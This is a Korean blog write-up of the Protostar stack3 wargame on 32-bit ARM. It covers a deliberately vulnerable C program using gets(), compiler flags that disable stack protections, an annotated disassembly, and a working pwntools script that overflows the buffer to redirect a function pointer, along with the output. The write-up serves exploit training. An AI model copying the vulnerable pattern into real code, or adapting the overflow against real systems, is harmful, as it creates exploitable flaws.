ARM Exploitation

ARM32 Exploit Exercies - Protostar_stack3

지난번 글에 이어 이번에는 stack3이다.

1. 소스코드

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

void win()
{
  printf("code flow successfully changed\n");
}

int main(int argc, char **argv)
{
  volatile int (*fp)();
  char buffer[64];

  fp = 0;

  gets(buffer);

  if (fp)
  {
    printf("calling function pointer, jumping to 0x%08x\n", fp);
    fp();
  }
}

stack3는 사실상 stack0과 거의 유사하다.  gets 함수를 호출을 통해 buffer를 입력받는다.  하지만 이 함수는 취약한 함수로, C11표준에서 삭제되었다. 때문에 현재는 실무에서 사용하지 않아야 할 함수다. 


2. Compile(Raspberry pi / arm)

$ gcc -o stack3 -fno-stack-protector -z execstack -z norelro -no-pie stack3.c -Wno-implicit-function-declaration

raspberry pi 3에서 32 bit linux os 가 설치된 환경을 기준으로 위와 같이 컴파일한다. 이때 사용된 옵션을 간략히 설명하면 아래와 같다.

  • -fno-stack-protector : 스택이 넘치는 것을 방지하기 위한 보안 메커니즘. 설정을 해제한다.
  • -z execstack : 스택의 내용을 실행할 수 없도록 한 일명 nx. 설정을 해제한다.
  • -z norelro : relro 설정을 해제한다.
  • -no-pie : pie 설정을 해제한다.
  • -Wno-implicit-function-declaration : gets 등 deprecated 된 함수에 대한 경고를 무시한다.

현대의 linux 환경은 그 자체로 진화를 거듭하며 일부 보안 메커니즘을 default 로 탑재하기 시작했다. 하지만 이 예제에서는 의도적으로 취약한 프로그램을 만들어야 실습을 할 수 있으므로 보안 메커니즘을 적용하지 않은 채로 컴파일하는 것이다.


3. 실행

$ ./stack3 
asdfbe

컴파일 된 바이너리를 실행하면 사용자의 입력을 기다린다. 사용자가 입력한 결과가 프로그램의 의도에 부합하지 않으면 아무런 반응 없이 종료된다.


4. 디스어셈블 분석

소스코드가 주어진 환경이므로 사실상 프로그램 구조는 다 파악이 가능한 상황이나, CTF나 Real-world Bug hunting 상황에서는 소스코드를 기대할 수 없으므로, 바이너리에서 디스어셈블하는 연습이 필요하다. 보통은 objdump를 사용하거나, gdb를 통해 disass 를 수행하면 된다.

여기에서는 radare2라는 도구를 통해 보다 개선된 방식으로 main 함수의 내용을 디스어셈블해보았다.

코드 자체가 길지는 않다. 약간씩 나누어서 이해해보자.


1) 함수 프롤로그

함수 프롤로그는 프로그램의 기존 상태를 저장하고, 함수 내에서 사용할 지역 변수들을 위한 공간을 스택에 마련하는 과정이다.

0x00010460      00482de9       push {fp, lr}
0x00010464      04b08de2       add fp, sp, 4
0x00010468      50d04de2       sub sp, sp, 0x50

fp(Frame Pointer, R11 레지스터)  와 lr(Link Reginster, R14 레지스터) 를 스택에 저장한다. 그리고 스택 프레임의 바닥을 설정한다. 이후 sp를 조절하여 스택으로 사용할 공간을 확보한다.


2) main 함수 body

이어지는 프로그램의 동작을 살펴보자. 대체적으로 단순한 구조를 이룬다.

0x0001046c      50000be5       str r0, [var_50h]           ; 0x50 ; 80 ; argc
0x00010470      54100be5       str r1, [var_54h]           ; 0x54 ; 84 ; argv

위의 두 코드는 각각 r0과 r1에 argc 와 argv 를 설정한다. 실제 디버거를 통해 확인해보면 r0에는 1이 할당되고, r1에는 '/home/pi/arm_exploitation/stack/stack3/stack3' 이 할당되어 있다.

0x00010474      0030a0e3       mov r3, 0
0x00010478      08300be5       str r3, [var_8h]            ; 8
0x0001047c      48304be2       sub r3, fp, 0x48
0x00010480      0300a0e1       mov r0, r3
0x00010484      a3ffffeb       bl sym.imp.gets             ; char *gets(char *s)
0x00010488      08301be5       ldr r3, [var_8h]            ; 8

이어서 r3 레지스터가 가리키는 위치에 대하여 gets 함수를 호출한다. 이 함수는 사용자로부터 문자열을 입력받는 함수이다. 

0x0001048c      000053e3       cmp r3, 0
┌─< 0x00010490      0400000a       beq 0x104a8
│   0x00010494      08101be5       ldr r1, [var_8h]            ; 8
│   0x00010498      18009fe5       ldr r0, [str.calling_function_pointer__jumping_to_0x_08x] ; [0x104b8:4]=0x1054c str.calling_function_pointer__jumping_to_0x_08x
│   0x0001049c      9affffeb       bl sym.imp.printf           ; int printf(const char *format)
│   0x000104a0      08301be5       ldr r3, [var_8h]            ; 8
│   0x000104a4      33ff2fe1       blx r3

이후 cmp 비교를 통해 r3 레지스터에 저장된 값이 0과 같은지 확인한다. 이 값이 0이면 아무런 일도 일어나지 않고, 0이 아닌 경우 해당 r3 값을 출력해서 보여준 후, blx r3를 수행하여 fp() 함수를 처리한 후 돌아온다.

0x000104a8      0030a0e3       mov r3, 0
0x000104ac      0300a0e1       mov r0, r3

사용했던 레지스터를 다시 초기화하는 것으로 큰 의미는 없다.

3) 함수 에필로그

0x000104b0      04d04be2       sub sp, fp, 4
0x000104b4      0088bde8       pop {fp, pc}

함수 에필로그는 프로그램의 상태를 해당 함수로 진입하기 이전으로 되돌려놓는 과정이다. 이때 스택 포인터 역시 원상 복구되어야 한다. stack pointer 를 조절할 때에는 frame pointer를 기준으로 add 또는 sub 등으로 맞출 수 있다. 이후 pop 명령을 통해 스택에 저장해두었던 값을 가져와서 해당 레지스터에 할당한다.


여기에 추가로 win 이라는 함수도 있다.

이 함수는 "code flow successfully changed" 라는 문자열을 출력한 후 종료하여 원래의 함수로 되돌아간다. 여기서 중요한 것은 이 win() 함수의 시작 위치이다. r2로 확인한 결과 0x00010444 위치임을 알 수 있다.


5. 문제 풀이

이 문제의 경우 앞서 stack0 및 stack1과 유사한 풀이이기 때문에 자세한 설명은 stack0 및 stack1설명 글을 먼저 참고하기 바란다.

다만, stack3 문제에서 달라진 점은 modified 값 대신 volatile int (*fp)() 값을 수정한다는 것과, fp 값에 win() 함수의 주소인 0x00010444를 구체적인 값으로 특정해서 정확하게 맞추어야 한다는 것이다. 이를 그림으로 그려보면 아래와 같다.

앞서 stack0 등에서 확인했듯이 길이 64 이상의 임의의 문자열을 buffer에 채워넣으면 그 뒤에 있던 변수가 덮어써진다. 이때 덮어쓸 내용을 0x00010444 에 해당하게 해주면 된다. pwntools 를 사용하여 아래와 같이 구현했다.

# Tested on 64bit Ubuntu, macOS
# Target : 32bit ARM, Raspberry Pi, Raspbian OS 
# Python 3.7.6
# pwntools 4.2.2

from pwn import *
import time

target = remote("target ip", 9998)

# Creating Payload
g = cyclic_gen()
payload = g.get(64) 
payload+= p32(0x00010444)   # address for function 'win'

print("payload len : {}".format(len(payload)))
print("paylaod     : {}".format(payload))

# Sending Payload
print("[+] Sending payload..")
target.sendline(payload)
sleep(1)

# Receiving msg
print("Received   :")
print(target.recvline())
print(target.recvline())

결과는 아래와 같다.

$ python3 stack3.py 
payload len : 68
paylaod     : b'aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaD\x04\x01\x00'
[+] Sending payload..
Received   :
b'calling function pointer, jumping to 0x00010444\n'
b'code flow successfully changed\n'

성공적으로 코드의 제어 흐름을 변경했다.


6. 결론

우선 이번 stack3문제는 단순히 buffer 배열을 너머 fp 변수에 특정한 주소 값을 의도적으로 할당할 수 있음을 보았다. 이는 stack0과 본질적으로 동일하지만, fp 포인터 변수가 가리키는 특정 위치를 임의로 설정할 수 있다는 사실 덕에 제어 흐름을 변경할 수 있음을 확인했다. 

하지만 *fp 와 같은 취약한 방식으로 구현되어 있는 real world program은 거의 없을 것이다. 

그렇다면 스택에 저장되어 있는 기존 FP 및 LR의 값을 변조하는 것을 통해 Program Counter 를 조작하여 Return Address 를 바꿔버리는 것으로 이어지는 시나리오를 생각해보자. 이러한 상황은 이어질 stack4 ~ stack7 문제를 통해 하나씩 살펴볼 예정이다.

 


Software Security Engineer

CPUU 님의 창작활동을 응원하고 싶으세요?

CPUU의 Daydreamin'
CPUU의 Daydreamin'
구독자 220

0개의 댓글

SNS 계정으로 간편하게 로그인하고 댓글을 남겨주세요.
새로운 알림이 없습니다.